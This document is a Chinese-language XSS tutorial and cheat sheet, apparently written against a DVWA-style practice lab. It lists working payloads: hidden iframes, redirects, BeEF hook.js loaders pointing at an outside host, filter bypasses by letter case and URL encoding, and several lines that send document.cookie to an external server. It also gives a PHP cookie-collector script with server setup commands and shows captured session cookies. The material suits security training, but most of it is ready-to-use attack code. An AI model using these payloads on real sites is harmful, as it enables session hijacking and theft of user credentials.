构造XSS脚本
常用的HTML标签
<iframe> 创建包含另一个文档的内联框架(即行内框架),也就是在一个网页内嵌入另一个界面;
<textarea> 多行的输入文本框。
<img> 向网页中嵌入一张图片
<script> 定义客户端脚本,如JavaScript脚本;
可以直接包含脚本语句,也可以通过src;
指向外部脚本文件;
必须的type属性,规定脚本的MIME类型;
JavaScript脚本,通常应用于图片操作,表单验证,即内容的动态更新;
常用的JavaScript方法
alert() alert()方法用于显示一条指定消息和一个确定按钮的警告弹窗;
window.location window.location 对象用于获得当前页面的地址(URL),并把浏览器重定向到新的界面
location.href 返回当前页面的文档的完整URL
onload 一张页面或一张图像的完整加载
onsubmit 确认按钮被点击
onerror 在加载文档或图像时放生错误
构造XSS脚本
弹窗警告
此脚本实现弹窗提示,一般作为测试或者演示使用,类似于SQL注入漏洞测试中的单引号;,一旦此脚本能执行,也就意味着后端服务器没有特殊字符进行过滤;
<>/;这也意味着,该页面存在XSS漏洞;
<script>alert('xss')</script>
<script>alert(document.cookie)</script>
( = %28 ) =%29
页面嵌套
<iframe src=http://www.baidu.com></iframe>
<iframe src=http://www.baidu.com width=300 height=200></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
页面重定向
<script>window.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>
弹窗加重定向
<script>alert("请移步我们的新网站");location.href="http://www.baidu.com"</script>
这时候就先弹出弹窗警告,然后跳转到了新的界面;
访问恶意代码:
<script src="http://artdillon.gitee.io/hook.js"></script>
<script src="http://BeEf_IP:30/hook.js"></script> 利用BeEF收集用户的cookie
巧用图片标签
<img src="#" onerror=alert("xss")>
<img src="javascript:alert('xss')">
<img src="http://BeEf_IP:30/hook.js">
绕开过滤脚本
大小写
<sCriPt>alert("xss")</SCRipt>
字符编码 采用URL编码;
<a href="http://%77%77%77%2E%62%61%69%64%75%2E%63%6F%6D">abc</a>
收集用户cookie
打开新窗口,并采用本地cookie访问目标网页
<script>window.open("http://www.baidu.com/?cookie='+document.cookie")</script>
<script>document.location="http://www.baidu.com/?cookie="+document.cookie</script>
<script>new Image().src="http://www.baidu.com/?cookie="+document.cookie;</script>
<img src="http://www.baidu.com/?cookie='+document.cookie">
<iframe src="http://www.baidu.com/?cookie='+document.cookie">
反射性XSS
低安全级别
<?php if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){ $isempty = true; } else { echo '<pre>'; echo 'Hello ' . $_GET['name']; echo '</pre>'; } ?>
没有对输入的内容进行过滤
存储型XSS
<?php if(isset($_POST['btnSign'])) { $message = trim($_POST['mtxMessage']); $name = trim($_POST['txtName']); // Sanitize message input $message = stripslashes($message); $message = mysql_real_escape_string($message); // Sanitize name input $name = mysql_real_escape_string($name); $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');"; $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' ); } ?>
手工(低)
获取cookie
1.构建收集cookie的服务器
2.构建xss代码并植入到web服务器
3.等待肉鸡触发xss代码并将cookie发送给kali
4,cookie利用
1
vim /var/www/html/cookie_rec.php
<?php $cookie=$_GET["cookie"]; $log=fopen("cookie.txt","a"); fwrite($log,$cookie."\n"); fclose($log); ?>
更改权限
chown -R www-data.www-data /var/www
确认
植入恶意语句
长度限制
F12
root@dillon:/# cat /var/www/html/cookie.txt
security=low; PHPSESSID=msfhpsrt0ge8i75obsob1v3ln4; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
成功获取;